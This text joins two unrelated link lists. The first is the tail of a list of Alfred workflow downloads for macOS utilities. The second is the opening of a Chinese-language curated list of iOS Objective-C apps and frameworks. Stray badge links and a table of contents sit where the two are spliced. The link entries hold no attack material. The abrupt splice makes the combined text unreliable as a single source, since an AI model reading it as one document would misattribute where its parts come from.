* [iOS Simulator](https://github.com/packal/repository/raw/master/com.ricardosampayo.iossimulator/ios_simulator.alfredworkflow) - A simple workflow for fast access to your iOS Simulators and apps. It saves you time during iOS development when you have to deal with Simulators' folder structure.
* [iOS Simulator launcher](https://github.com/packal/repository/raw/master/com.alfredapp.simulator-launcher/ios_simulator.alfredworkflow) - Launching iOS simulator using a keyword
* [iPhone Tether Toggle](https://github.com/packal/repository/raw/master/net.lemonlee.iphonetethertoggle/iphone_tethering_toggle.alfredworkflow) - Toggle tethering with your iPhone on / off
* [iPython text manipulation](https://github.com/packal/repository/raw/master/com.bhishanpdl.ipython_text_manipulation/ipython_text_manipulation.alfredworkflow) - Format the ipython codes nicely without "[In]" or "[Out]" or " :" symbols
* [iTerm Rerun Command](https://github.com/packal/repository/raw/master/com.madvas.iterm-rerun-command/iterm-rerun-command.alfredworkflow) - Reruns last command executed in iTerm
* [iTerm Sessions](https://github.com/packal/repository/raw/master/com.madvas.iterm-sessions/alfred-iterm3-sessions.alfredworkflow) - Quickly select of one currently opened iTerm sessions
* [iTunes Airplay Toggle](https://github.com/packal/repository/raw/master/com.dotson.airplaytoggle/itunes_airplay_toggle.alfredworkflow) - Toggle the playing state of your Airplay devices.
* [iTunes DJ](https://github.com/packal/repository/raw/master/net.evancoleman.alfred-up-next/itunes_dj.alfredworkflow) - Queue up songs to be played next in iTunes from Alfred
* [iTunes Random Player](https://github.com/packal/repository/raw/master/com.semicolons.alfred.itunesrandom/itunes_random_player.alfredworkflow) - Plays a random track from an album or podcast, or a random album from a genre
* [iTunes Rate Track](https://github.com/packal/repository/raw/master/com.artform.itunes-rater/trackrater.alfredworkflow) - Allows you to apply ★ and ♥ to your current iTunes track using hotkeys.
* [iTunes Rating](https://github.com/packal/repository/raw/master/com.artform.itunes-rating/itunes_rating.alfredworkflow) - Uses a hotkey to apply a rating to the current track. If it's less than 3, it's goes to the next track automatically.
* [iTunes Seeking](https://github.com/packal/repository/raw/master/com.tylast.itunesseeking/itunes_seeking.alfredworkflow) - Seeks backwards & forwards in iTunes
* [iTunes Shuffle Toggle](https://github.com/packal/repository/raw/master/com.artform.shuffletoggle/itunes_shuffle_toggle.alfredworkflow) - Toggles the shuffle option in iTunes
* [iTunes Store Search](https://github.com/packal/repository/raw/master/com.targumanu.itunessearch/itunes_store_search.alfredworkflow) - Search the iTunes store
* [iTunes playlist tagger](https://github.com/packal/repository/raw/master/hu.fns.itunes_playlist_tagger/itunes_playlist_tagger.alfredworkflow) - Tag current iTunes track by using playlists
* [iconfinder search](https://github.com/packal/repository/raw/master/com.rawnly.iconfinder-search/iconfinder-search.alfredworkflow) - Iconfinder instant ico search
* [ironmq](https://github.com/packal/repository/raw/master/ironmq.workflow/ironmq1.0.alfredworkflow) - Quick productive access to your ironMQ queues
* [jQuery Documentation](https://github.com/packal/repository/raw/master/pro.firepanther.jquery_en/jquery_en.alfredworkflow) - Search the jQuery Documentation locally (without internet connection and very fast)
* [jQueryApiCN](https://github.com/packal/repository/raw/master/jquery.api.workflow.kennylee/jquery.api_.cn_.alfredworkflow) - jQuery中文API手册
* [jrnl](https://github.com/packal/repository/raw/master/com.turgon.jrnl/jrnl.alfredworkflow) - Add entries to jrnl
* [jsReserved](https://github.com/packal/repository/raw/master/com.alfredapp.jrhoades.jsReserved/jsreserved.alfredworkflow) - List or Find Reserved Words in JavaScript
* [lgtm](https://github.com/packal/repository/raw/master/lgtm.in.leonhartX/lgtm.alfredworkflow) - workflow to get lgtm pictures and paste markdown easily
* [linggle](https://github.com/packal/repository/raw/master/com.zihan.workflow.linggle/linggle.alfredworkflow) - The workflow helps you to search on linggle.com and display the top 10 search results
* [local.ch](https://github.com/packal/repository/raw/master/com.alfredapp.uelibanholzer.local/local_ch.alfredworkflow) - An Alfred Workflow to search in the swiss phone book (local.ch)
* [localhost2](https://github.com/packal/repository/raw/master/com.flydev.localhost2/localhost2.alfredworkflow) - Open localhost port on browser
* [logtivly](https://github.com/packal/repository/raw/master/com.lobolabshq.logtivly/logtivly.alfredworkflow) - log your hours on google sheets using alfred! see https://www.youtube.com/watch?v=XAAXoTbIZ5E
* [man](https://github.com/packal/repository/raw/master/net.isometry.alfred.man/man.alfredworkflow) - Open UNIX man pages in any of traditional Terminal, HTML or PDF format
* [markdown note of Github Repo](https://github.com/packal/repository/raw/master/com.lastobelus.alfred.markdown-note-of-github-repo/markdown_note_of_github_repo.alfredworkflow) - Formats the link, name, and description of a github repo into a markdown-formatted note on the clipboard
* [mdi](https://github.com/packal/repository/raw/master/com.importre.alfred.mdi/mdi.alfredworkflow) - Alfred 3 workflow to find Material Design Icons
* [metacpan](https://github.com/packal/repository/raw/master/com.twoshortplanks.alfred.metacpan/metacpan.alfredworkflow) - Search MetaCPAN (http://metacpan.org/) from within Alfred with as-you-type autocompletion
* [moment](https://github.com/packal/repository/raw/master/com.lostjs.moment/moment.alfredworkflow) - Advanced time utility.
* [mvnrepository](https://github.com/packal/repository/raw/master/io.wkz.mvnrepository/mvnrepository.alfredworkflow) - workflow for mvnrepository.com
* [my bitbucket repositories](https://github.com/packal/repository/raw/master/name.yuco.g.my-bitbucket-repositories/my_bitbucket_repositories.alfredworkflow) - search my bitbucket repository
* [newdesktop](https://github.com/packal/repository/raw/master/com.porcupo.newdesktop/newdesktop.alfredworkflow) - Creates a new space / desktop
* [ng2](https://github.com/packal/repository/raw/master/com.samverschueren.ng2/ng2.alfredworkflow) - Search for Angular 2 documentation
* [npm repo](https://github.com/packal/repository/raw/master/ru.drfisher.alfred.npmrepo/npm_modules_repo.alfredworkflow) - Opens a repository page for a npm module by name
* [npms](https://github.com/packal/repository/raw/master/com.sindresorhus.npms/npms.alfredworkflow) - Search for npm packages with npms.io. [NOTE] Click "View on GitHub" for install instructions. Don't install from here.
* [npms](https://github.com/packal/repository/raw/master/org.boneskull.npms/npms.alfredworkflow) - npms.io search
* [nvALT actions](https://github.com/packal/repository/raw/master/net.woong.nvalt/nvalt_actions.alfredworkflow) - This workflow is finding a note or creating a note in nvALT.
* [oh-my-zsh](https://github.com/packal/repository/raw/master/com.mmcgarvey.oh-my-zsh/oh-my-zsh.alfredworkflow) - Quickly get to documentation for oh-my-zsh plugins
* [opencc (chs ↔ cht)](https://github.com/packal/repository/raw/master/com.shouya.opencc/opencc.alfredworkflow) - convert text between simplified and traditional chinese (and copy)
* [ops-ginie-client](https://github.com/packal/repository/raw/master/igor.domrev.alfred/ops.alfredworkflow) - ops ginie client
* [pass](https://github.com/packal/repository/raw/master/pl.intrepidus.pass/pass.alfredworkflow) - Pass (the standard Unix password manager) integration
* [pass](https://github.com/packal/repository/raw/master/org.passwordstore.pass/pass-0.3.1.alfredworkflow) - Provide a minimal wrapper over the pass password manager (passwordstore.org)
* [pg](https://github.com/packal/repository/raw/master/com.importre.alfred.pg/pg.alfredworkflow) - Search .pro(Proguard) files
* [pipe](https://github.com/packal/repository/raw/master/net.isometry.alfred.pipe/pipe.alfredworkflow) - Transform the selected text or clipboard contents by passing it through an arbitrary shell one-liner
* [pomodoro-alfred](https://github.com/packal/repository/raw/master/com.evanbrodie.pomodoro-alfred/pomodoro_for_alfred.alfredworkflow) - Pomodoro Tracking via Tomato One
* [portkiller](https://github.com/packal/repository/raw/master/com.ezio.portkiller/portkiller.alfredworkflow) - this workflow is used to kill the port you specifie by typing: kp portnum, for example: kp 8080 kill the port occupying the specified port
* [prefix.cc](https://github.com/packal/repository/raw/master/com.depressiverobot.alfred.prefixcc/prefix.cc_.alfredworkflow) - Lookup for namespaces using prefix.cc
* [premiumize.me - premium link generator for single download links](https://github.com/packal/repository/raw/master/com.mondpirat.prm/premiumize.alfredworkflow) - Create premium downloadlinks from support OCH via premiumize.me
* [qlee.proxy](https://github.com/packal/repository/raw/master/qlee.proxy/proxy-workflow.alfredworkflow) - Statr a socket 5 proxy
* [qqmusic](https://github.com/packal/repository/raw/master/com.khanzhang.qqmusic/qqmusic.alfredworkflow) - 一键搜索QQ音乐
* [query iphone date of manufacture](https://github.com/packal/repository/raw/master/com.belmeng.iphone.mfg/iphonecha_xun_sheng_chan_ri_qi_.alfredworkflow) - query iphone date of manufacture
* [quick command for alfred workflow 2](https://github.com/packal/repository/raw/master/com.albertxavier.workflows.quickcommand/quick_command.alfredworkflow) - Copy, run, generate, del your custom commands
* [raywenderlich](https://github.com/packal/repository/raw/master/net.softdevstory.raywenderlich/raywenderlich.alfredworkflow) - Display the recent ariticles from raywenderlich.com
* [relaunched](https://github.com/packal/repository/raw/master/com.tildeslash.relaunched/relaunched.alfredworkflow) - Relaunch running apps or the Dock
* [rockkoca.workflow.figure-fight-sogou](https://github.com/packal/repository/raw/master/rockkoca.workflow.figure-fight-sogou/figure_fight.alfredworkflow) - Funny Figures for Chatting
* [s3cmd Toolkit](https://github.com/packal/repository/raw/master/com.customct.s3cmd/s3cmdtoolkit.alfredworkflow) - Workflow for using the s3cmd command to interact with Amazon S3
* [search HoudahSpot for](https://github.com/packal/repository/raw/master/com.thomas_u.searchhoudahspotfor/search_houdahspot_for.alfredworkflow) - pass a search phrase on to HoudahSpot 4
* [shanbay-alfred2](https://github.com/packal/repository/raw/master/com.alswl.alfred.shanbay/shanbay-alfred2_e4c299e.alfredworkflow) - com.alswl.alfred.shanbay
* [shrug](https://github.com/packal/repository/raw/master/com.darrinholst.aflred.shrug/shrug.alfredworkflow) - Copies ¯\_(ツ)_/¯ to the clipboard and pastes it to the frontmost app
* [slackfred](https://github.com/packal/repository/raw/master/fspinillo.alfredv2.slackfred/slackfred-v2.alfredworkflow) - Interact with the chat service Slack via Alfred (multi-org supported)
* [song.link](https://github.com/packal/repository/raw/master/se.kovanen.songlink/song.link_.alfredworkflow) - Create song.link urls for friendly music sharing links.
* [src from iframe](https://github.com/packal/repository/raw/master/tgirardi.srcfromiframe/src-from-iframe.alfredworkflow) - Extracts src attribute value from iframe tag in clipboard
* [ssh](https://github.com/packal/repository/raw/master/net.isometry.alfred.ssh/ssh.alfredworkflow) - Open Secure SHell with smart hostname autocompletion
* [strlen](https://github.com/packal/repository/raw/master/com.blakeharley.alfred.strlen/strlen.alfredworkflow) - Calculates the length of the input string
* [superFastAppSwitch](https://github.com/packal/repository/raw/master/com.alfredapp.superFastAppSwitch/superfastappswitch.alfredworkflow) - this workflow enables you to switch/change among your apps in milliseconds
* [symless](https://github.com/packal/repository/raw/master/com.ericpardee.workflow.synergy/symless.alfredworkflow) - Show and Enable / Disable synergy service
* [tTyme](https://github.com/packal/repository/raw/master/com.tscho.ttyme/ttyme.alfredworkflow) - Controll Tyme.app
* [tidy](https://github.com/packal/repository/raw/master/com.importre.alfred.tidy/tidy.alfredworkflow) - https://github.com/importre/alfred-tidy
* [today's newsmth.net top 10 hot articles](https://github.com/packal/repository/raw/master/io.github.tangyi.newsmthtop10/smth-top10-alfred-workflow.alfredworkflow) - 水木社区十大热门话题
* [todo](https://github.com/packal/repository/raw/master/florian.todo/todo.alfredworkflow) - Manage your todo items entirely in Alfred
* [trailer](https://github.com/packal/repository/raw/master/net.isometry.alfred.trailer/trailer.alfredworkflow) - Search and open iTunes Movie Trailers
* [trans - translate-shell workflow](https://github.com/packal/repository/raw/master/hu.fns.trans/trans.alfredworkflow) - This is a workflow for translate-shell CLI utility.
* [transfer](https://github.com/packal/repository/raw/master/com.alfred.transfer/transfer.alfredworkflow) - Uploads files to transfer.sh.
* [uuid-helper](https://github.com/packal/repository/raw/master/com.erikbylund.uuid_helper/uuidhelper.alfredworkflow) - A simple UUID helper to generate random UUID's as well as formatting any uuid with or without dashes
* [vbox](https://github.com/packal/repository/raw/master/com.cnsworder.vbox/vbox.alfredworkflow) - vbox control
* [wymusic](https://github.com/packal/repository/raw/master/com.khanzhang.wymusic/wymusic.alfredworkflow) - 一键搜索网易云音乐
* [xcdd](https://github.com/packal/repository/raw/master/derivedData.xc.com/xcdd.alfredworkflow) - Remove Xcode DeriveData for path '~/Library/Developer/Xcode/DerivedData/*'
* [xkcd](https://github.com/packal/repository/raw/master/jienan.xyz.xkcd/xkcd-1.2.3.alfredworkflow) - Browse and search latest and hot xkcd comics and what if articles
* [İETT Next Departures](https://github.com/packal/repository/raw/master/com.ttuygun.alfred-iett-workflow/iett_next_departures.alfredworkflow) - This alfred workflow shows next departures from beautiful Istanbul's bus service İETT. It uses data from İETT's website.
* [动漫花园检索](https://github.com/packal/repository/raw/master/net.azzfun.dmhy.search/dong_man_hua_yuan_jian_suo_.alfredworkflow) - 动漫花园追番查询
* [彩云天气](https://github.com/packal/repository/raw/master/io.wkz.cytq/cai_yun_tian_qi_.alfredworkflow) - 通过彩云天气API接口获取天气预报
* [湾区日报(非官方)](https://github.com/packal/repository/raw/master/com.krabs.workflows.wanqu/wanqu.alfredworkflow) - 相对快捷的获取湾区日报最新一期或者指定某一期的文章.
* [进制转换](https://github.com/packal/repository/raw/master/com.olivercj.alfred.number-coversion/coversion.alfredworkflow) - 进制转换，自动判读输入数字，转换结果包括16进制，10进制，8进制，2进制
* [위시켓 최근 프로젝트 검색](https://github.com/packal/repository/raw/master/so.muk.wishket/wishket_search-1.2.alfredworkflow) - 위시켓, 최근 프로젝트 검색
|
[](https://travis-ci.org/douban/rexxar-ios)
[](https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/ProgrammingWithObjectiveC/Introduction/Introduction.html)
[Swift版本点击这里](https://github.com/Tim9Liu9/TimLiu-iOS/blob/master/Swift.md)
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### About
A curated list of iOS objective-C ecosystem.
### How to Use
- Simply press <kbd>command</kbd> + <kbd>F</kbd> + <kbd>"xxx@"</kbd> to search for a keyword
- Go through our *Content Menu*
### Feedback
期待大家和我们一起共同维护，同时也期望大家随时能提出宝贵的意见（直接提交issues即可）。请广大网友只按照目录结构（即使目录结构有问题）添加三方库，并提交pull request。目录问题大家提出issues后楼主会及时更改的。
### 目录
- [如何成为一个IOS开发@](#如何成为一个IOS开发)
- [完整App@](#完整App)
- [框架@](#框架)
- [react@](#react)
- [framework@](#framework)
- [混合开发@](#混合开发)
- [组件化@](#组件化)
- [优化@](#优化@)
- [多线程@](#多线程)
- [网络@](#网络)
- [网络请求@](#网络请求)
- [socket@](#socket)
- [网络下载@](#网络下载@)
- [图像获取@](#图像获取)
- [IM@](#IM)
- [网络测试@](#网络测试)
- [网页框架@](#网页框架)
- [网络解析@](#网络解析)
- [CSV](#csv)
- [JSON@](#json)
- [XML&HTML@](#xml&html)
- [数据存储@](#数据存储)
- [缓存处理@](#缓存处理)
- [序列化@](#序列化)
- [coreData@](#coreData)
- [动画@](#动画)
- [侧滑与右滑返回手势@](#侧滑与右滑返回手势)
- [转场动画@](#转场动画)
- [多媒体@](#多媒体)
- [音频@](#音频)
- [视频@](#视频)
- [视频播放@](#视频播放)
- [视频处理@](#视频处理)
- [视频录制@](#视频录制)
- [视频剪切@](#视频剪切)
- [直播@](#直播)
- [弹幕@](#弹幕)
- [GIF@](#GIF)
- [VR@](#VR)
- [AR@](#AR)
- [二维码@](#二维码)
- [PDF@](#PDF)
- [图像@](#图像)
- [拍照@](#拍照)
- [图像处理@](#图像处理)
- [图像浏览@](#图像浏览)
- [图像缓存@](#图像缓存)
- [滤镜@](#滤镜)
- [图像识别@](#图像识别)
- [图像圆角@](#图像圆角)
- [截屏@](#截屏)
- [安全@](#安全)
- [逆向@](#逆向)
- [AutoLayout@](#AutoLayout)
- [数据结构/算法@](#数据结构/算法)
- [上架@](#上架)
- [iOS11@](#iOS)
- [应用内支付@](#应用内支付)
- [动态更新@](#动态更新)
- [UI@](#UI)
- [综合UI@](#综合UI)
- [列表@](#列表)
- [TableView@](#TableView)
- [TableView适配@](#TableView适配)
- [CollectionView@](#CollectionView)
- [图表@](#图表)
- [下拉刷新@](#下拉刷新)
- [模糊效果@](#模糊效果)
- [日历三方库@](#日历三方库)
- [颜色@](#颜色)
- [scrollView@](#scrollView)
- [对话交互@](#对话交互)
- [隐藏与显示@](#隐藏与显示)
- [HUD与Toast@](#HUD与Toast)
- [对话框@](#对话框)
- [Pop@](#Pop)
- [状态栏@](#状态栏)
- [导航栏@](#导航栏)
- [设置@](#设置)
- [引导页@](#引导页@)
- [Switch@](#Switch)
- [Label@](#Label)
- [Search@](#Search)
- [主题@](#主题)
- [电影选座@](#电影选座)
- [瀑布流@](#瀑布流)
- [菜单@](#菜单)
- [Tabbar@](#Tabbar)
- [进度@](#进度)
- [小红点@](#小红点)
- [page@](#page)
- [轮播@](#轮播)
- [选择器@](#选择器)
- [购物车@](#购物车)
- [按钮@](#按钮)
- [类3D@](#类3D)
- [其他UI@](#其他UI)
- [工具@](#工具)
- [提醒用户评分@](#提醒用户评分)
- [压缩解压@](#压缩解压)
- [Category@](#Category)
- [代码片@](#代码片)
- [Github相关@](#Github相关)
- [键盘@](#键盘)
- [分发@](分发@)
- [文本@](#文本)
- [文本输入@](#文本输入)
- [富文本@](#富文本)
- [表情@](#表情)
- [字体@](#字体)
- [ipad@](#ipad)
- [通讯@](#通讯)
- [学习资料@](#学习资料)
- [播客@](#播客)
- [其他开源@](#其他开源)
- [博客@](#博客)
- [学习笔记@](#学习笔记)
- [书籍@](#书籍)
- [设计@](#设计)
- [美工资源@](#美工资源)
- [文章@](#文章)
- [测试调试@](#测试调试)
- [Xcode工具@](#Xcode工具)
- [崩溃捕获@](#崩溃捕获)
- [Runtime@](#Runtime)
- [Xcode插件@](#Xcode插件)
- [接口调试工具@](#接口调试工具)
- [UI调试@](#UI调试)
- [版本适配@](#版本适配)
- [深度链接@](#深度链接)
- [WebView与WKWebView@](#WebView与WKWebView)
- [游戏@](#cocos2d-objc)
- [小样@](#小样)
- [机器学习@](#机器学习)
- [VPN@](#VPN)
- [地图@](#地图)
- [通知@](#通知)
- [通讯录@](#通讯录)
- [深度学习@](#深度学习)
- [其他库@](#其他库)
- [消息相关@](#消息相关)
- [消息推送客户端@](#消息推送客户端)
- [消息推送服务器端@](#消息推送服务器端)
- [通知相关请搜索“对话交互@”@](#通知相关请搜索“对话交互@”@)
- [时间日期@](#时间日期)
- [设计模式@](#设计模式)
- [三方@](#三方)
- [三方分享、支付、登录等等@](#三方分享、支付、登录等等)
- [区块链@](#区块链)
- [版本管理@](#版本管理)
- [Git用法@](#Git用法)
- [GitHub@](#GitHub)
- [GitBook@](#GitBook)
- [Git文章@](#Git文章)
- [GithubRank@](#GithubRank)
- [桌面工具@](#桌面工具)
- [Github客户端@](#Github客户端)
- [Github插件@](#Github插件)
- [命令行@](#命令行)
- [Git平台与工具@](#Git平台与工具)
- [Github项目@](#Github项目)
- [Git库@](#Git库)
- [Github浏览器工具@](#Github浏览器工具)
- [版本新API的Demo@](#版本新API的Demo)
- [AppleWatch@](#AppleWatch)
- [mac@](#mac)
- [开发环境@](#开发环境)
- [前端@](#前端)
- [后台@](#后台)
- [AppHTTPServer@](#AppHTTPServer)
#### 具体内容 =============================
#### 如何成为一个IOS开发@
* [iOS-Developer-Roadmap](https://github.com/BohdanOrlov/iOS-Developer-Roadmap) - Roadmap to becoming an iOS developer in 2018.
#### 完整App@
* [CoolPaper](https://github.com/CoderWeiLee/CoolPaper) - 一款基于Swift5写的壁纸应用
* [GitHubRank](http://githubrank.com/) - GitHub活跃用户排名(便于学习，请勿攀比).
* [expo](https://github.com/expo/expo) - An open-source platform for making universal native apps with React. Expo runs on Android, iOS, and the web.
* [PPRows for Mac](https://github.com/jkpang/PPRows) - 在Mac上优雅的计算你写了多少行代码.
* [NewsBlur](https://github.com/samuelclay/NewsBlur) - 作者独自一个人 Samuel Clay 做出来的一款名为 NewsBlur 的新闻阅读器, 很多人都称其为 Google Reader 的替代品, 这是它的源码.
* [HackerNews-React-Native](https://github.com/iSimar/HackerNews-React-Native) - 用React Native 完成的 HackerNews 客户端.
* [WeChat](https://github.com/zhengwenming/WeChat)- 实现类似微信朋友圈或者QQ空间，评论回复，九宫格布局。处理键盘弹出后定位到当前点击的被评论人处。另：滑动时候FPS在57-60之间，纵享丝滑.
* [iOSAppTemplate](https://github.com/tbl00c/iOSAppTemplate) - 高仿微信，iOS应用开发模板，个人总结.
* [Bilibili_Wuxianda](https://github.com/MichaelHuyp/Bilibili_Wuxianda) - 赞 高仿Bilibili客户端.
* [Coding-iOS](https://github.com/Coding/Coding-iOS) - Coding iOS 客户端源代码.
* [Coding-iPad](https://github.com/Coding/Coding-iPad) - Coding iPad 客户端源代码.
* [Monkey](https://github.com/coderyi/Monkey) - GitHub第三方iOS客户端.
* [firefox-ios](https://github.com/mozilla/firefox-ios) Firefox for iOS.
* [RSSRead](https://github.com/ming1016/RSSRead) - “已阅”（iOS上开源RSS新闻阅读器）.
* [zulip-ios](https://github.com/zulip/zulip-ios) - Dropbox收购公司内部社交服务商Zulip,然后全部开源，这是iOS App.
* [FirebaseChat](https://github.com/relatedcode/FirebaseChat) - Objective-C写的完整的聊天应用.
* [Meizi](https://github.com/Sunnyyoung/Meizi) - 豆瓣妹子图iOS客户端.
* [PlainReader](https://github.com/guojiubo/PlainReader) - 简阅是一款 iOS(iPhone + iPad) 新闻类客户端，内容抓取自 cnBeta.COM。在售期间倍受好评，但由于版权问题已于今年一月从 AppStore 下架，下架至今，每天仍有几千人在使用这款 App.
* [ECMobile_iOS](https://github.com/GeekZooStudio/ECMobile_iOS) - 基于ECShop的手机商城客户端.
* [wikipedia-ios](https://github.com/wikimedia/wikipedia-ios) - 维基百科官方App, 已上架.
* [Sol](https://github.com/comyarzaheri/Sol) - 漂亮的扁平风格的天气App.
* [v2ex](https://github.com/singro/v2ex) - v2ex第三方iOS客户端。V2EX是一个知名技术创意网站，由设计师、程序员及有创意的人参与的社区.
* [WNXHuntForCity](https://github.com/ZhongTaoTian/WNXHuntForCity) - 城觅By-Objective-C.
* [breadwallet](https://github.com/voisine/breadwallet) - breadwallet - bitcoin wallet.
* [GreatReader](https://github.com/semweb/GreatReader) - GreatReader PDF阅读客户端.
* [Tropos](https://github.com/thoughtbot/Tropos) - 天气客户端.
* [WordPress-iOS](https://github.com/wordpress-mobile/WordPress-iOS) - WordPress iOS官方客户端. 笔者强烈推荐的开源项目.
* [TeamTalk](https://github.com/mogujie/TeamTalk) - 蘑菇街TeamTalk. 开源IM. 笔者强烈推荐.
* [MessageDisplayKit](https://github.com/xhzengAIB/MessageDisplayKit) - 一个类似微信App的IM应用，拥有发送文字、图片、语音、视频、地理位置消息，管理本地通信录、分享朋友 圈、漂流交友、摇一摇和更多有趣的功能。
* [iOS-Oncenote](https://github.com/chenyufeng1991/iOS-Oncenote) - 这是一款类似于印象笔记Evernote的生活类iOS应用——朝夕笔记 Oncenote。我希望能为更多的iOS开发者提供帮助与服务.
* [GSD_WeiXin](https://github.com/gsdios/GSD_WeiXin) 高仿微信.
* [v2ex](https://github.com/singro/v2ex) - v2ex 的客户端，新闻、论坛.
* [wikipedia-ios](https://github.com/wikimedia/wikipedia-ios) - wikipedia-ios 客户端.
* [DeckRocket](https://github.com/jpsim/DeckRocket) - 在相同 WiFi 网络环境内，通过iPhone 控制并播放 Mac 中的 PDF 文档.
* [DSLolita](https://github.com/sam408130/DSLolita) - 模仿新浪微博做的一款app，有发送博文，评论，点赞，私聊功能.
* [STPhotoBrowser](https://github.com/STShenZhaoliang/STPhotoBrowser) - 高仿新浪微博的图片浏览器，极佳的编写方式，易扩展，低耦合.
* [Tropos](https://github.com/thoughtbot/Tropos) - Tropos, 由 thoughtbot 推出的一款用 Objective-C 写的开源天气类应用.
* [SmileWeather](https://github.com/liu044100/SmileWeather) - 开源天气类应用,天气图标很完整.
* [MVVMReactiveCocoa](https://github.com/leichunfeng/MVVMReactiveCocoa) - 基于MVVM的GitBucket客户端2.0.[AppStore地址](https://itunes.apple.com/cn/app/id961330940?mt=8)，欢迎下载使用GitBucket和收藏MVVMReactiveCocoa.
* [Tomate](https://github.com/dasdom/Tomate) - 这个圆盘式计时器让你更专注于工作或学习。P.S. App Store 上架收费应用（0.99 欧）.
* [WNXHuntForCity](https://github.com/ZhongTaoTian/WNXHuntForCity) - iOS高仿城觅项目（开发思路和代码）.
* [ZYChat](https://github.com/zyprosoft/ZYChat) - 关于聊天界面的可消息类型扩展，响应绑定设计.
* [meituan](https://github.com/lookingstars/meituan) - 美团5.7iOS版（高仿），功能包括，团购首页，高德地图搜索附近美食并显示在地图上，上门服务，商家，友盟分享.
* [JFMeiTuan](https://github.com/tubie/JFMeiTuan) - 造美团应用界面构建的 iOS 应用, 第二个是 @tubiebutu 的 JFMeiTuan.
* [SXNews](https://github.com/dsxNiubility/SXNews) - 模仿网易新闻做的新闻软件，完成了主导航页，新闻详情页，图片浏览页，评论页.
* [Monkey](https://github.com/coderyi/Monkey) - GitHub开发者和仓库排名的开源App.
* [Uther](https://github.com/callmewhy/Uther) - 跟蠢萌的外星人聊天，还能帮你记事”.[itunes下载](https://itunes.apple.com/cn/app/uther/id1024104920).
* [高仿斗鱼TV](http://code.cocoachina.com/view/128246) - 高仿斗鱼TV，点击头部滚动视图可以播放视频.
* [Coding-iPad](https://github.com/Coding/Coding-iPad) - @Coding的官方 iPad 客户端.
* [wire-ios](https://github.com/wireapp/wire-ios) - 私密消息应用wire源码.
* [react-native-gitfeed](https://github.com/xiekw2010/react-native-gitfeed) - 目前最实用简洁的github客户端了.
* [phphub-ios](https://github.com/Aufree/phphub-ios) - PHPHub的iOS客户端，同时兼容iPhone和iPad.
* [LeagueofLegends](https://github.com/HarrisHan/LeagueofLegends) - 一个关于英雄联盟的完整iOS开源项目，接口均来自多玩，腾讯各大游戏平台.
* [BTApp](https://github.com/Ryan0520/BTApp) - BTApp 仿半糖 iOS App 的 Demo 应用.
* [iOS完整App资源收集](https://github.com/CoderJackyHuang/MDArtileFiles) - 很多开源的完整的App--标哥的技术博客.
* [XCFApp-1](https://github.com/callmejoejoe/XCFApp) - 高仿下厨房App，Objective-C，Xcode7.2，数据通过Charles抓的，有接口也有本地数据。说明：关于代码被清空，会用git的你肯定明白，[教程](http://www.jianshu.com/p/a8f619a2c622/).
* [YoCelsius](https://github.com/YouXianMing/YoCelsius) - 已经上线的一款天气预报的应用,几乎所有的交互动画效果，想学习动画的开发人员可以作为参考.
* [DayDayNews](https://github.com/gaoyuhang/DayDayNews) - 仿网易新闻客户端，实现新闻浏览，视频播放，仿搜狐视频、百思不得姐等当前主流视频播放器，实现流媒体播放，自动监听屏幕转动，实现横屏播放 , 抓取百度图片，瀑布流显示，夜间模式，环信即时通讯.
* [ECMobile_iOS](https://github.com/GeekZooStudio/ECMobile_iOS) - 基于ECShop的手机商城客户端（iOS、Android、Php一体）.
* [TKeyboard](https://github.com/music4kid/TKeyboard) - 这款应用名为：TKeyboard。有一个 Mac 端和一个 iOS 端 App。简单来说，可以通过蓝牙，使用 Mac 的键盘输入内容到 iPhone 设备中.
* [BDJProjectExample](https://github.com/yizzuide/BDJProjectExample) - 基于VIPER设计模式，以XFLegoVIPER框架为引擎的仿《百思不得姐》项目.
* [UberSignature](https://github.com/uber/UberSignature) - 一个通过触摸前面的App.
* [HiPDA](https://github.com/leizh007/HiPDA) - HiPDA的非官方客户端（iOS版）.
* [yanxuan-weex-demo](https://github.com/zwwill/yanxuan-weex-demo) - a demo developed using weex/weex高仿网易严选App.
* [MeiTuan](https://github.com/huanxsd/MeiTuan) - 高仿美团客户端 React-Native版，支持iOS、Android.
* [OneM](https://github.com/guangqiang-liu/OneM) - OneM是一款纯ReactNative打造的集杂志浏览、音乐播放、视频播放于一体的综合性App,并且支持iOS和Android双平台.
* [ZMBCY-iOS](https://github.com/Brances/ZMBCY-iOS) - 高仿二次元网易GACHA,所有接口均通过Charles抓取而来，里面有可单独抽离出来的卡片轮播.
* [Hotels](https://github.com/FantasticLBP/Hotels) - 酒店预订App.
* [YouTube-Music](https://github.com/steve228uk/YouTube-Music) - A Mac app wrapper for music.youtube.com.
* [MONO](https://github.com/xumaohuai/MONO) - 高仿MONO(猫弄).
* [LZAlbum](https://github.com/lzwjava/LZAlbum) - 基于 LeanCloud 的朋友圈，优雅地使用 LeanCloud.
* [xkcd-Open-Source](https://github.com/mamaral/xkcd-Open-Source) - A free and open source xkcd comic reader for iOS.s
* [GKDYVideo](https://github.com/QuintGao/GKDYVideo) - iOS仿抖音短视频.
* [adblockfast](https://github.com/rocketshipapps/adblockfast) - Adblock Fast is a new, faster ad blocker for iOS, Android, Chrome, and Opera. https://adblockfast.com/.
* [react-native-permissions](https://github.com/zoontek/react-native-permissions) - React-Native权限管理工具类
#### 框架@
* [nimbus](https://github.com/jverkoey/nimbus) - Nimbus是一个开源的iOS框架，比起Three20，Nimbus的文档更为全面、丰富，能够实现很多非常炫的界面特效.
- [FRDModuleManager](https://github.com/lincode/FRDModuleManager) - AppDelegate瘦身，iOS Module Manager library.
* [promises](https://github.com/google/promises) - Promises is a modern framework that provides a synchronization construct for Swift and Objective-C.Promise 就是链的方式对结果类型闭包的封装，避免层层闭包重复嵌套难以阅读.
* [CYLTabBarController](https://github.com/ChenYilong/CYLTabBarController) - 低耦合集成TabBarController,最低只需传两个数组即可完成主流App框架搭建.
* [keystone](https://github.com/keystone-enclave/keystone) - Keystone Enclave (QEMU).
* [samurai-native](https://github.com/hackers-painters/samurai-native) - 是一个基于浏览器内核通过HTML+CSS 开发原生移动应用的iOS框架.
* [AsyncDisplayKit](https://github.com/facebook/AsyncDisplayKit) - 异步界面渲染库,为极限优化View效果而生（同时提供 UIView bridge 接口）.
* [XFLegoVIPER](https://github.com/yizzuide/XFLegoVIPER) - A lightweight framework base on VIPER architecture for iOS, to build robust and maintained large scale project.
* [publishImageAndVideoAnsRecord](https://github.com/DayCrazy/publishImageAndVideoAnsRecord) - 发布视频、语言、照片模块集合，其中包括带placeHolder的TextView、录制小视频、录制音频、选择照片或拍照.
